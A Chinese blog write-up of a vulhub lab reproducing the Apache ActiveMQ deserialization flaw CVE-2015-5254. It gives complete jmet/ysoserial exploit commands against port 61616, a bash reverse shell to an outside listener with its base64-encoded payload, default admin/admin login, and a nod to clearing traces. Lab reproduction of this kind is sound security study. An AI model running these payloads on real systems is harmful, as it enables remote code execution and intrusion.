【vulhub漏洞复现】CVE-2015-5254 ActiveMQ反序列化漏洞

一、漏洞详情

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。配置Apache ActiveMQ需要提前有jdk的环境。

基于MQTT,消息订阅和分发的模式。ActiveMQ就相当于一个云控制台,可以看见消息的发布和接收队列。

发送消息后查看队列:

接收消息后查看队列:

影响版本 Apache ActiveMQ < 5.13.0

该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

反序列化漏洞利用过程如下:

  1. 构造可执行命令的序列化对象

  1. 作为一个消息,发送给目标的61616端口

  1. 访问Web管理界面,读取消息触发漏洞

二、复现过程

  1. vulhub搭建环境

进入对应文件夹启动环境

docker-compose up -d

查看一下环境信息

docker-compose ps
activeMQ默认配置下启动会启动8161和61616两个端口,其中8161是mq自带的管理后台的端口,61616是mq服务默认端口。我们访问的时候访问8161端口。

也可以用nmap对目标IP的端口进行扫描

访问该端口

  1. 默认账户密码admin/admin 登录

可以看到版本的相关信息

  1. 利用jmet构造可执行的序列化对象

(原理:使用集成的ysoserial生成payload并发送)

#下载jmet的jar包
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

执行命令(在jmet-0.1.0-all.jar的保存目录下)

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 127.0.0.1(你的目标机的ip) 61616

这边报错了,在该目录下创建文件夹

mkdir external

再执行一次上面的命令

目的是在目标服务器中/tmp目录创建一个文件success

可以看到Active MQ已经收到了消息队列

点击ID触发命令执行(因为我们之前已经用admin/admin登录了,有管理员权限,如果没有管理员权限的话,我们只能等待管理员点击消息队列的ID来触发命令执行漏洞

  1. 进入容器查看漏洞利用结果

docker ps
docker exec -it bae4bc8546b7 /bin/bash
cd /root/
cd /tmp
ls -l

可以看到success文件成功创建,也就是我们的远程命令已经被执行了

  1. 反弹shell的利用

同理讲上面的远程命令那部分替换为反弹shell的命令即可

开启监听,端口为19999

127.0.0.1不能反弹shell,所以下面的IP换了下

#bash反弹命令
bash -i >& /dev/tcp/192.168.239.128/19999 0>&1

需要利用base64进行编码绕过

执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616

找到相应ID消息队列,触发命令执行

监听成功

三、总结

既然可以远程命令执行,那可利用的点岂不是茫茫多.

顺便在反弹shell之后学习了一下如何清除痕迹

推荐大佬的文章,里面写的很详细

https://blog.csdn.net/weixin_43847838/article/details/129058192?spm=1001.2014.3001.5501

猜你喜欢

转载自blog.csdn.net/m0_51683653/article/details/129230144
今日推荐